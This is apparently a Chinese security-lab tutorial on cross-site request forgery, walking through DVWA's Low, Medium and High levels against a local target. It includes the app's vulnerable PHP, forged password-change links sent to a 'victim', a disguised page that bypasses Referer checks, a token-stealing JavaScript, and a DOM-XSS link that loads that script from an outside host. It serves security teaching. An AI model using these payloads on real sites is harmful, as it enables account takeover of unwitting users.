1.简介

CSRF(Cross-site request forgery,跨站请求伪造)通常是黑客利用已经登录的用户,诱使其访问或者登录某个早已构造好的恶意链接或者页面,然后在用户毫不知情的情况下,以用户的名义完成了非用户本意的非法操作。

这种攻击我们也被称为“One Click Attack“或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用行为。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范。

2.同源策略

什么是同源策略

同源策略由Netscape公司于1995年引入浏览器。目前,所有的浏览器都实行这个策略。它的含义是指,A网页设置的cookie,B网页不能打开,除非这两个网页同源。所谓的同源指的是三个相同:

  1. 协议相同
  2. 域名相同
  3. 端口相同

image-20200704195602375

同源策略的目的

为了保证用户信息的安全,防止恶意的网站窃取数据。

3.DVWA——CSRF漏洞学习

Low

将安全等级调为Low,查看Low级别的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源代码可以看出只是对用户输入的两个密码进行判断,看是否相等,不相等就提示密码不匹配。若相等则将密码使用MD5加密传入数据库保存。

我们尝试修改一次密码先看看情况:

image-20200704103428983

密码修改完后页面会提示Password Changed,而且关注一下URL也会发现,我们修改密码的信息,在URL中也体现出来了

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

所以我们要是直接修改URL中的密码字段,并把它发给”受害者“,当受害者点开这个链接就会被修改密码

image-20200704103808168

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

把这个链接发送给“受害者”,当他点开这个链接,自己的密码就会被修改成我们恶意设置的1234

Medium

先看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源码中可以看出Medium级别的代码在Low级别上添加了对HTTP请求头中的Referer字段的验证

1
2
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

服务器会验证请求的来源,即用户HTTP请求头中的Referer字段中必须包含服务器的名字

如果我们再使用Low级别的方法直接打开链接,页面会提示请求不正确

image-20200704105140700

我们正常修改一次密码,并用BurpSuite抓包查看HTTP请求头

image-20200704105542184

发现请求头中存在Referer字段,并且里面包含服务器名127.0.0.1

然后我们再抓取直接访问恶意链接的数据包

image-20200704105907456

在这个请求头中并没有Referer字段,所以不能通过服务器的验证

我们手动在BurpSuite中添加Referer字段,然后Forward就可以发现页面提示密码修改成功

image-20200704110758138

然而我们并不能在“受害者”的电脑上抓包啊,我们需要“受害者”被诱导点击恶意链接,从而达到目的。

我们可以构造一个页面,页面文件命名为服务器的名称,如127.0.0.1.php,在页面中写入加载可以恶意修改密码的链接的代码,然后将页面放在我们另外一台服务器主机中,将恶意网页的链接地址发送给“受害者”,当受害者打开链接后,就会被修改密码

恶意网页中可以使用图片的加载来隐藏我们构造的恶意修改密码的链接

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<head>
<title>性感荷官 在线发牌</title>
<body>
<img src=http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change>
</body>
</html>

由于这个页面的文件名为127.0.0.1.php,所以我们请求图片src的时候,它的请求头会包含127.0.0.1.php,也就包含了我们所需要的服务器名,从而达到绕过Referer验证的目的。

High

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个相较于Low,添加了Token的验证,而Token是每次访问改密页面时都会随机生成的,所以我们没法伪造Token去欺骗服务器

要想实现CSRF攻击就必须获取到用户的token,我们可以利用XSS漏洞执行JavaScript脚本来达到这个目的。这个脚本会自动模拟访问改密网页,并且截取到token,并使用这个token构造改密链接然后自动访问,从而使得”受害者“的密码被恶意修改

构造的js脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
var pass = '1234';
if (window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=' + pass + '&password_conf=' + pass + '&Change=Change&user_token=' + token + '#';
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

由于在High安全等级下DVWA也存在XSS漏洞,那么我们可以利用XSS漏洞去执行我们构造的JavaScript脚本,这里使用DOM型的XSS漏洞(具体介绍点此查看)构造我们的恶意链接

构造的恶意链接为:

1
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English#<script src="http://192.168.47.62/csrfhack.js"></script>

将链接发送给“受害者”,如果“受害者”点开这个链接,就会执行我们构造的脚本,从而达到恶意修改密码的目的。同时这里要注意网站的同源策略。

受害者打开链接,会弹出我们抓取的token,然后退出账号在登陆就会发现密码已经被修改了。

image-20200704175443580